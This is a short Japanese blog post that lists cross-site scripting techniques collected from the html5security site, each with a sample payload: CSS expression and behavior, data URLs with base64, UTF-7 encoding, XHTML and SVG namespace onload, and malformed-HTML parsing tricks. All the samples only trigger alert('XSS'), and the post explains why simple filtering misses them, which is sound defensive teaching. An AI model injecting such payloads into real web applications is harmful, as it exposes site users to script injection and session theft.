XSSの攻撃手法いろいろ
html5securityのサイトに、XSSの各種攻撃手法がまとめられているのを発見せり!ということで、個人的に「お!」と思った攻撃をサンプルつきでご紹介します。
1. CSS Expression
IE7以前には「CSS Expressions」という拡張機能があり、CSS内でJavaScriptを実行できたりします。
<div style="color:expression(alert('XSS'));">a</div>
@IT -[柔軟すぎる]IEのCSS解釈で起こるXSS で詳しく解説されていますが、CSSの解釈が柔軟なことともあいまって自前で無害化するのはなかなか困難。以下のようなコードでもスクリプトが実行されてしまいます。
<div style="color:expr/* コメントの挿入 */ession(alert('XSS'));">a</div>
<div style="color:expression(alert('XSS'));">a</div> <div style="color:\0065xpression(alert('XSS2'));">b</div>
似たような話で「behavior」を使う攻撃もあります。こちらは指定したJScriptを実行できるとのこと。
<div style='behavior:url(test.sct)'>a</div>
2. data URL
URLにデータを埋め込む「data URL」スキームを利用して、iframeやobjectに攻撃用スクリプトをロードさせる手法。
<iframe src="data:text/html,<script>alert('XSS')</script>"></iframe> <object data="data:text/html,<script>alert('XSS2')</script>"></object>
base64でエンコードしたデータも指定でき、この場合単純な文字列探索(「script」タグを探すとか)では攻撃を検知できません。data URL自体を拒否する対処が必要です。
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4='></iframe
3. UTF-7
というものです。詳細はITPro - UTF-7とクロスサイト・スクリプティング を参照。
<meta http-equiv="Content-Type" content="text/html; charset=UTF-7"/> +ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-
4. XML + ネームスペース
XMLでもxhtmlのネームスペースが付与されているとFireFoxではxhtmlと解釈され、スクリプトが実行されます。
<?xml version="1.0" encoding="UTF-8"?> <test> <body xmlns="http://www.w3.org/1999/xhtml" onload="alert('XSS');"> </body> </test>
確認
XMLだからといって安心しては危険。また、同様に、SVGでもスクリプトが実行できたりします。
<?xml version="1.0" encoding="UTF-8"?> <svg xmlns='http://www.w3.org/2000/svg'> <g onload="javascript:alert('XSS')"></g> </svg>
5. HTMLの解釈関連
あとは、HTMLの構造が不正だけど、ブラウザの解釈によってスクリプトが実行されるよー、というたぐいのものを3つほど。
<b>aaaa<script<b></b><alert('XSS')</script </b>
<b <script>alert('XSS')</script>0
<style><img src='</style><img src=x onerror=alert("XSS")//'>
・・・
紹介は以上。私が無知なだけかもですが、いろいろとありますなー。